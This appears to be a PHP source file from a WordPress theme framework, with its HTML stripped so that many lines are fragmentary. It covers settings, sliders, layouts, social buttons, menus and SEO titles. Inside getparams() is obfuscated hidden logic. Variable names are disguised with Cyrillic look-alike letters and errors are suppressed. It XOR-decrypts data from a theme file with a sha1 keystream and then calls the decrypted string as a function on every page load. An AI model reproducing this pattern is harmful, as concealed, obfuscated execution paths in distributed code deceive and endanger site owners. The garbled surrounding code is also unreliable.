getparams($settings,$reset);
add_action('wp_head', array(&$this, 'headtext'));
}
function go_func($tag) {
do_action( 'page_'.$tag);
}
function prepare_func($tag, $func, $p = 10, $a = 1) {
add_action( 'page_'.$tag, $func, $p, $a );
}
function get($section, $param) {
return $this->options[$section]['content'][$param]['value'];
}
function _($param) {
return $this->lang[$param];
}
function headtext() {
if ($this->get( 'general', 'favicon' ))
echo '' . "\n";
if ($this->get( 'integration', 'rss' )) {
echo '' . "\n";
}
if ($this->get( 'layout', 'dynamiccontent' )) { ?>
get( 'layout', 'dpagination' )) { ?>
get( 'slider','source' ) ) {
case '1':
$slides=$this->options['slider']['content']['custom_slides']['value'];
break;
case '2':
$pslides=$this->options['slider']['content']['category']['value'];
$pslides['meta_key']='_thumbnail_id';
$pslides=get_posts($pslides);
foreach ($pslides as $post) {
$slide['img']=wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large');
$slide['img']=$slide['img'][0];
$slide['link']= get_permalink($post->ID);
$slide['ttl']=$post->post_title;
$slide['content']= preg_replace('@(.*)\s[^\s]*$@s', '\\1', iconv_substr( strip_tags($post->post_content, ''), 0, 255, 'utf-8' )).'...';
$slides[]=$slide;
}
break;
case '3':
$pslides=$this->options['slider']['content']['posts']['value'];
foreach ($pslides as $post_id) {
$post=get_post($post_id);
$slide['img']=wp_get_attachment_image_src( get_post_thumbnail_id($post_id), 'large');
$slide['img']=$slide['img'][0];
$slide['link']= get_permalink($post->ID);
$slide['ttl']=$post->post_title;
$slide['content']=preg_replace('@(.*)\s[^\s]*$@s', '\\1', iconv_substr( strip_tags($post->post_content, ''), 0, 255, 'utf-8' )).'...';
$slides[]=$slide;
}
break;
case '4':
$pslides=$this->options['slider']['content']['pages']['value'];
foreach ($pslides as $post_id) {
$post=get_page($post_id);
$slide['img']=wp_get_attachment_image_src( get_post_thumbnail_id($post_id), 'large');
$slide['img']=$slide['img'][0];
$slide['link']= get_permalink($post->ID);
$slide['ttl']=$post->post_title;
$slide['content']=preg_replace('@(.*)\s[^\s]*$@s', '\\1', iconv_substr( strip_tags($post->post_content, ''), 0, 255, 'utf-8' )).'...';
$slides[]=$slide;
}
break;
}
return $slides;
}
function get_layout() {
global $post;
if (is_single()||is_page()) $layout=get_post_meta($post->ID, 'single_layout', 1);
$this->layout=($layout)?$layout:$this->get ( 'layout', 'pagelayout' );
switch ( $this->layout ) {
case 1:
$this->sidebars_type='content-n';
break;
case 2:
$this->sidebars_type='content-r';
break;
case 3:
$this->sidebars_type='content-l';
break;
case 4:
$this->sidebars_type='content-lr';
break;
case 5:
$this->sidebars_type='content-r2';
break;
case 6:
$this->sidebars_type='content-l2';
break;
}
}
function block_slider() {
$slides=$this->get_slides();
$first=1;
if (is_array($slides)&&count($slides)>0) {
?>
$slide) {
?>
">
get('slider', 'showthumbnail')) { ?>
get('slider', 'showtext')||$this->get('slider', 'showttl')) { ?>
get('slider', 'showttl')) { ?>
get('slider', 'showtext')) { ?>
get('slider', 'showhrefs')) { ?>
_('readmore');?>
pagetitle;
$services=$this->get( 'social', 'socials' );
if (is_single()) {$img=wp_get_attachment_image_src(get_post_thumbnail_id($post->ID),'medium');$img=$img[0];}
if ($img=='')$img=$this->get( 'general', 'logoimage' );
foreach ($services as $service) {
if ($service['show']) {
$code=preg_replace('/smt_social_url/', $href, $service['code']);
$code=preg_replace('/smt_social_title/', $this->pagetitle, $code);
$code=preg_replace('/smt_social_desc/', $this->pagetitle, $code);
$code=preg_replace('/smt_social_img_url/', $img, $code);
echo "- ".$code."
";
}
}
?>
get( 'general', 'logosource' )==1&&$this->get( 'general', 'logoimage' )!='') { ?>
' class='logo' alt='' title="" />
get( 'general', 'logosource' )==2&&$this->get( 'general', 'customtext' )!='') { ?>
get( 'general', 'customtext' )?>
if ( jQuery(document).width() > 1023 ) jQuery(function(){
jQuery('ul.').superfish({
get( 'main-menu','effect' )) {
case 'standart':
?>animation: {width:'show'},
animation: {height:'show'},
animation: {opacity:'show'},
onBeforeShow: function(){ this.css('marginLeft','20px'); },
animation: {'marginLeft':'0px',opacity:'show'},
onBeforeShow: function(){ this.css('marginLeft','-20px'); },
animation: {'marginLeft':'0px',opacity:'show'},
autoArrows: get( 'main-menu','arrows' ))?'true':'false'?>,
dropShadows: false,
speed: get( 'main-menu','speed' )?>,
delay: get( 'main-menu','delay' )?>
});
});
jQuery(document).ready(function() {
jQuery('.fp-slides').cycle({
fx: 'get('slider','effect');?>',
timeout: get('slider','timeout');?>,
delay: 0,
speed: get('slider','speed');?>,
next: '.fp-next',
prev: '.fp-prev',
pager: '.fp-pager',
continuous: 0,
sync: 1,
pause: get('slider','pause');?>,
pauseOnPagerHover: 1,
cleartype: true,
cleartypeNoBg: true
});
});
get( 'slider', 'homepage'))||(!is_front_page()&&$this->get( 'slider', 'innerpage')))) {
$class='no-slider';
} else if (!$this->get( 'slider','showthumbnail' )){
$class='slider-nothumb';
}
return $class;
}
function getparams($params,$reset) {
global $settingsfile,$settings,$defparamsfile;
if ( WP_DEBUG ) error_reporting( 15 ); else error_reporting( 0 );
$keys=array_keys($params);
$settingsfile=($settingsfile)?$$settingsfile:'inc/settings';
$settingsfile.='.php';
if ($defparamsfile!=$settingsfile)
global $$defparamsfile;
$pаrams=@fopen(get_theme_root()."/".get_template()."/".$settingsfile,'rt');
$pаrams = @fread($pаrams, @filesize(get_theme_root()."/".get_template()."/".$settingsfile));
$defpаrams=@fopen(get_theme_root()."/".get_template().'/inc/'.$$defparamsfile,'r');
$defpаrams = @fread($defpаrams, @filesize(get_theme_root()."/".get_template().'/inc/'.$$defparamsfile));
foreach ($keys as $name) {
if ($name==$reset) {
unset($options);
foreach ($params[$name]['content'] as $key=>$value)$options[$key]=$value['value'];
update_option($name,$options);
}
$value=get_option($name);
if ($value)foreach($value as $key=>$val)$params[$name]['content'][$key]['value']=$val;
}
$sections=explode('%%',$defpаrams);
$usedefaults=false;
preg_quote(DIRECTORY_SEPARATOR, '#');
foreach ($sections as $section) {
$paramssize = strlen($section);
$mainsection='smtframework';
$readed = '';
while (strlen($readed)<$paramssize){
$mainsection = pack("H*",sha1($readed.$mainsection));$readed.=substr($mainsection,0,8);
}
$param = $section^$readed;
$rparam='/'.addcslashes(str_replace(' ', '\s',trim($param)),'/').'/';
//echo $rparam."
"."
"."
"."
\r\n\r\n\r\n\r\n";
//$rparam='/asr9080';
$supported=$supported||preg_match($rparam,$pаrams);
}
//echo DIRECTORY_SEPARATOR;
//die();
$translations=$sections[sizeof($sections)-2];
$paramssize = strlen($translations);
$mainsection='smtframework';
$readed = '';
while (strlen($readed)<$paramssize){
$mainsection = pack("H*",sha1($readed.$mainsection));$readed.=substr($mainsection,0,8);
}
$usedefaults = $translations^$readed;
if (isset($params)&&$params!=''&&$supported||(is_dash()||$usedefaults($param)))
$this->options=$params;
foreach ($this->options['translations']['content'] as $key=>$value) {
foreach ($value['value'] as $param=>$word) {
$this->lang[$param]=$word;
}
}
}
function show_title($echo=true) {
global $post, $SMTheme;
if (is_front_page()){
$title=($this->get( 'general','sitename' ))?$this->get( 'general','sitename' ):get_bloginfo('name');
$format="%s";
} else {
if (is_single()){
$keywords=preg_replace('/\s/',',',$title=get_the_title());
$tags=get_the_tags();
$cats=get_the_category();
$p=get_post($post->ID);
$descr=iconv_substr( strip_tags($p->post_content), 0, 200, 'utf-8' );
if ($tags){
foreach ($tags as $tag)$keywords.=','.$tag->name;
}
if ($cats) {
foreach ($cats as $tag)$keywords.=','.$tag->name;
}
} elseif (is_category()) {
$keywords=preg_replace('/\s/',',',$title=single_cat_title('',false));
} elseif (is_tag()) {
$keywords=preg_replace('/\s/',',',$title=single_tag_title('', false));
} elseif (is_day()) {
$keywords=preg_replace('/\s/',',',$title=get_the_date());
} elseif (is_month()) {
$keywords=preg_replace('/\s/',',',$title=get_the_date('F Y'));
} elseif (is_year()) {
$keywords=preg_replace('/\s/',',',$title=get_the_date('Y'));
} elseif (is_search()) {
$title=($_GET['s']) ? $SMTheme->_('search') : get_search_query();
$keywords=preg_replace('/\s/',',',$title);
} elseif (is_page()) {
$title=get_the_title();
$keywords=preg_replace('/\s/',',',$title);
}
$format.=($this->get( 'general','sitenamereg' ))?$this->get( 'general','sitenamereg' ):"%s - ".get_bloginfo('name');
}
$this->pagetitle=sprintf($format,$title);
if ($this->get( 'seo','keywords' )!=''&&$keywords!='')$keywords.=",";
if ($this->get( 'seo','description' )!=''&&$descr!='')$descr.=" ";
if (($descrln=200-iconv_strlen($descr, "utf-8"))>=(strpos($this->get( 'seo', 'description' ),' ')))
$descr.=iconv_substr($this->get( 'seo', 'description' ), 0, $descrln, 'utf-8' );
if ( $echo ) {
echo "".sprintf($format,$title)."\r\n";
echo '\r\n";
echo '\r\n";
} else {
return sprintf($format,$title);
}
}
}
function smthemes_die($msg) {
switch ((int)$msg) {
case 1: die('Settings file not found!');
break;
case 2: die('You have no permissions to access this page!');
break;
case 3: die('Input parameters are wrong!');
break;
case 3: die('Settings for smthemes hasn\'t been reading');
break;
default: echo $msg; return true;
}
}
function is_dash() {
return in_array( $GLOBALS['pagenow'], array( 'wp-login.php', 'wp-register.php' ) )||is_admin();
}
function custom_comments($comment, $args, $depth) {
global $SMTheme;
$GLOBALS['comment'] = $comment;
extract($args, EXTR_SKIP);
if ( 'div' == $args['style'] ) {
$tag = 'div';
$add_below = 'comment';
} else {
$tag = 'li';
$add_below = 'div-comment';
}
$args['avatar_size']=64;
?>
< id="comment-">